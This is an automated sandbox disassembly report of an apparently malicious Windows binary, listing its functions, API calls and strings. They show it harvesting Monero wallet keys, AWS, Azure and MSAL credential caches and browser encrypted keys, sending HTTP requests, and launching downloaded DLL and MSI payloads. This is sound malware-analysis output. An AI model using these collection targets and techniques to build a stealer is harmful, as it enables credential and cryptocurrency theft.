Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0093CEF8,00000000,?,00B9144C,00000000,?,?), ref: 00B7CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00B7CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00B7CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B7CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00B7CAD9
StrStrA.SHLWAPI(?,0093CDF0,00B90B52), ref: 00B7CAF7
StrStrA.SHLWAPI(00000000,0093CE08), ref: 00B7CB1E
StrStrA.SHLWAPI(?,0093D538,00000000,?,00B91458,00000000,?,00000000,00000000,?,00938970,00000000,?,00B91454,00000000,?), ref: 00B7CCA2
StrStrA.SHLWAPI(00000000,0093D698), ref: 00B7CCB9

Part of subcall function 00B7C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B7C871
Part of subcall function 00B7C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B7C87C

StrStrA.SHLWAPI(?,0093D698,00000000,?,00B9145C,00000000,?,00000000,009388E0), ref: 00B7CD5A
StrStrA.SHLWAPI(00000000,00938B40), ref: 00B7CD71

Part of subcall function 00B7C820: lstrcat.KERNEL32(?,00B90B46), ref: 00B7C943
Part of subcall function 00B7C820: lstrcat.KERNEL32(?,00B90B47), ref: 00B7C957
Part of subcall function 00B7C820: lstrcat.KERNEL32(?,00B90B4E), ref: 00B7C978

lstrlen.KERNEL32(00000000), ref: 00B7CE44
CloseHandle.KERNEL32(00000000), ref: 00B7CE9C

Strings

, xrefs: 00B7C9C6

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 3448e310df684da9d0314b0d93e8c9ee073bc7b7c74236d551412382c98ce824
Instruction ID: 59bfc08ddc65bdae0d8f757abf1e86c7131376f12f82fb64dfe0ee7aaf87c0bd
Opcode Fuzzy Hash: 3448e310df684da9d0314b0d93e8c9ee073bc7b7c74236d551412382c98ce824
Instruction Fuzzy Hash: 1DE1B071910108EBEB15FBA4DC95FEEB7B8AF14300F50419AF506B61A1DF346A4ACB72

Function 00B88320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

RegOpenKeyExA.ADVAPI32(00000000,0093A9C0,00000000,00020019,00000000,00B905B6), ref: 00B883A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B88426
wsprintfA.USER32 ref: 00B88459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B8847B
RegCloseKey.ADVAPI32(00000000), ref: 00B8848C
RegCloseKey.ADVAPI32(00000000), ref: 00B88499

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Strings

%s\%s, xrefs: 00B8844D
?, xrefs: 00B8837A
- , xrefs: 00B885A3

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 76bf7847f6c2133a2fc0f9ec08ab9575c0ea6f4e60e2c1e0a82208a055bdb04c
Instruction ID: b8e4557c8d23bf88733591e61731e2ad8beea4e7665e7fd6c48fcc3c01498ef5
Opcode Fuzzy Hash: 76bf7847f6c2133a2fc0f9ec08ab9575c0ea6f4e60e2c1e0a82208a055bdb04c
Instruction Fuzzy Hash: 8881E971910218EBEB24EB54CC95FEAB7B8FF48700F4082D9E109A6190DF756B85CFA5

Function 00B84D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B88E0B

lstrcat.KERNEL32(?,00000000), ref: 00B84DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00B84DCD

Part of subcall function 00B84910: wsprintfA.USER32 ref: 00B8492C
Part of subcall function 00B84910: FindFirstFileA.KERNEL32(?,?), ref: 00B84943

lstrcat.KERNEL32(?,00000000), ref: 00B84E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00B84E59

Part of subcall function 00B84910: StrCmpCA.SHLWAPI(?,00B90FDC), ref: 00B84971
Part of subcall function 00B84910: StrCmpCA.SHLWAPI(?,00B90FE0), ref: 00B84987
Part of subcall function 00B84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B84B7D
Part of subcall function 00B84910: FindClose.KERNEL32(000000FF), ref: 00B84B92

lstrcat.KERNEL32(?,00000000), ref: 00B84EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B84EE5

Part of subcall function 00B84910: wsprintfA.USER32 ref: 00B849B0
Part of subcall function 00B84910: StrCmpCA.SHLWAPI(?,00B908D2), ref: 00B849C5
Part of subcall function 00B84910: wsprintfA.USER32 ref: 00B849E2
Part of subcall function 00B84910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B84A1E
Part of subcall function 00B84910: lstrcat.KERNEL32(?,0093E220), ref: 00B84A4A
Part of subcall function 00B84910: lstrcat.KERNEL32(?,00B90FF8), ref: 00B84A5C
Part of subcall function 00B84910: lstrcat.KERNEL32(?,?), ref: 00B84A70
Part of subcall function 00B84910: lstrcat.KERNEL32(?,00B90FFC), ref: 00B84A82
Part of subcall function 00B84910: lstrcat.KERNEL32(?,?), ref: 00B84A96
Part of subcall function 00B84910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B84AAC
Part of subcall function 00B84910: DeleteFileA.KERNEL32(?), ref: 00B84B31

Strings

Azure\.aws, xrefs: 00B84E5F
Azure\.azure, xrefs: 00B84DD3
msal.cache, xrefs: 00B84EF0
\.IdentityService\, xrefs: 00B84ED9
Azure\.IdentityService, xrefs: 00B84EEB
\.aws\, xrefs: 00B84E4D
*.*, xrefs: 00B84DD8
*.*, xrefs: 00B84E64
\.azure\, xrefs: 00B84DC1

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 18a0c18e9c0af9b25facd675e23abd6144033150cefe7b460d6a23b42ad6ae1e
Instruction ID: efbb89f8228d5a743ce8cefa6ce146855d17129f9aa2dd586333714ddfc404ae
Opcode Fuzzy Hash: 18a0c18e9c0af9b25facd675e23abd6144033150cefe7b460d6a23b42ad6ae1e
Instruction Fuzzy Hash: DF41817A940304A7DB14F774EC47FDD32B8AB24700F4049E4B189A61D1EEB597C9DBA2

Function 00B89010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B8906C

Strings

image/jpeg, xrefs: 00B89136

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 3d55b6d7c4890995c8db1c1c854b7bafbe35527043837843d5643316e328c173
Instruction ID: d2e2f4116cdfd421aa8644d00ab1846b390cc331e0902c7c984695dd652bb982
Opcode Fuzzy Hash: 3d55b6d7c4890995c8db1c1c854b7bafbe35527043837843d5643316e328c173
Instruction Fuzzy Hash: F871BAB5910208EBDB04EFE8DC89FEEB7B9AF48700F148658F515E7290DB74A905CB61

Function 00B82E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

ShellExecuteEx.SHELL32(0000003C), ref: 00B831C5
ShellExecuteEx.SHELL32(0000003C), ref: 00B8335D
ShellExecuteEx.SHELL32(0000003C), ref: 00B834EA

Strings

/i ", xrefs: 00B833E4
.msi, xrefs: 00B83398
C:\Windows\system32\rundll32.exe, xrefs: 00B83332
"" , xrefs: 00B8309A
<, xrefs: 00B83490
.dll, xrefs: 00B831E5
C:\Windows\system32\msiexec.exe, xrefs: 00B834BF
/passive, xrefs: 00B8345B

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 68e54d02a9922b7f012766c4711e990a85408a79182fe1df2404d73e53734b70
Instruction ID: 9319d15e527a5ba7e69214c1cc057fbca5edc0ab1b0a46d89af4f61b2aedfc80
Opcode Fuzzy Hash: 68e54d02a9922b7f012766c4711e990a85408a79182fe1df2404d73e53734b70
Instruction Fuzzy Hash: 9D12B1718101189AEB15FBA0DC92FDDB7B8AF14700F5041EAF506761A1EF786B4ACF62

Function 00B852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B76280: InternetOpenA.WININET(00B90DFE,00000001,00000000,00000000,00000000), ref: 00B762E1
Part of subcall function 00B76280: StrCmpCA.SHLWAPI(?,0093E310), ref: 00B76303
Part of subcall function 00B76280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B76335
Part of subcall function 00B76280: HttpOpenRequestA.WININET(00000000,GET,?,0093D8A8,00000000,00000000,00400100,00000000), ref: 00B76385
Part of subcall function 00B76280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B763BF
Part of subcall function 00B76280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B763D1

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B85318
lstrlen.KERNEL32(00000000), ref: 00B8532F

Part of subcall function 00B88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B88E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00B85364
lstrlen.KERNEL32(00000000), ref: 00B85383
lstrlen.KERNEL32(00000000), ref: 00B853AE

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Strings

ERROR, xrefs: 00B854A9
ERROR, xrefs: 00B85432
ERROR, xrefs: 00B8530A
ERROR, xrefs: 00B8546F
ERROR, xrefs: 00B853B9

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 86f2aa2ec6726d1cf1d31a6ef886599251aefddd58a6c0cc81217d1e02089553
Instruction ID: cd9db12b7198c8494e0cf970f24cb45f7f25df418e4b5ba042aa9385c3f2f17e
Opcode Fuzzy Hash: 86f2aa2ec6726d1cf1d31a6ef886599251aefddd58a6c0cc81217d1e02089553
Instruction Fuzzy Hash: 8251FD30910148DBEB18FF64CD96AED77B9AF10301F504499F40A6A5B2EF386B45DB62

Function 00B812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 5d6b449b257902292dd4750ccaad6a8696f11b41a2d5204842db0d4142533726
Instruction ID: 528ab57c33dadaa44a15046c54b926d0a48b71f842101f929b03232cfda97ac0
Opcode Fuzzy Hash: 5d6b449b257902292dd4750ccaad6a8696f11b41a2d5204842db0d4142533726
Instruction Fuzzy Hash: 64C181B5900219DBCB14FF64DC89FEA73B8BB54304F0045DDE50AA7261EA74AA85CFA1

Function 00B84280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B88E0B

lstrcat.KERNEL32(?,00000000), ref: 00B842EC
lstrcat.KERNEL32(?,0093DF08), ref: 00B8430B
lstrcat.KERNEL32(?,?), ref: 00B8431F
lstrcat.KERNEL32(?,0093CE98), ref: 00B84333

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B88D90: GetFileAttributesA.KERNEL32(00000000,?,00B71B54,?,?,00B9564C,?,?,00B90E1F), ref: 00B88D9F

Part of subcall function 00B79CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B79D39

Part of subcall function 00B799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
Part of subcall function 00B799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
Part of subcall function 00B799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
Part of subcall function 00B799C0: ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
Part of subcall function 00B799C0: LocalFree.KERNEL32(00B7148F), ref: 00B79A90
Part of subcall function 00B799C0: CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

Part of subcall function 00B893C0: GlobalAlloc.KERNEL32(00000000,00B843DD,00B843DD), ref: 00B893D3

StrStrA.SHLWAPI(?,0093DFB0), ref: 00B843F3
GlobalFree.KERNEL32(?), ref: 00B84512

Part of subcall function 00B79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79AEF
Part of subcall function 00B79AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B74EEE,00000000,?), ref: 00B79B01
Part of subcall function 00B79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79B2A
Part of subcall function 00B79AC0: LocalFree.KERNEL32(?,?,?,?,00B74EEE,00000000,?), ref: 00B79B3F

lstrcat.KERNEL32(?,00000000), ref: 00B844A3
StrCmpCA.SHLWAPI(?,00B908D1), ref: 00B844C0
lstrcat.KERNEL32(00000000,00000000), ref: 00B844D2
lstrcat.KERNEL32(00000000,?), ref: 00B844E5
lstrcat.KERNEL32(00000000,00B90FB8), ref: 00B844F4

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: cb8df60edf3ce9d4a672bdc4baf064eb01715480f486e0f213236d7c8a994436
Instruction ID: cd9e0fc463bbc988bff7145646082a7a89f1ab53873d36274591ff29bfde0fa1
Opcode Fuzzy Hash: cb8df60edf3ce9d4a672bdc4baf064eb01715480f486e0f213236d7c8a994436
Instruction Fuzzy Hash: EE7144B6900208BBDB14FBB4DC85FEE73B9AB58300F0485D8F61997191EA34DB45DBA1

Function 00B71310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B712B4
Part of subcall function 00B712A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B712BB
Part of subcall function 00B712A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00B712D7
Part of subcall function 00B712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B712F5
Part of subcall function 00B712A0: RegCloseKey.ADVAPI32(?), ref: 00B712FF

lstrcat.KERNEL32(?,00000000), ref: 00B7134F
lstrlen.KERNEL32(?), ref: 00B7135C
lstrcat.KERNEL32(?,.keys), ref: 00B71377

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

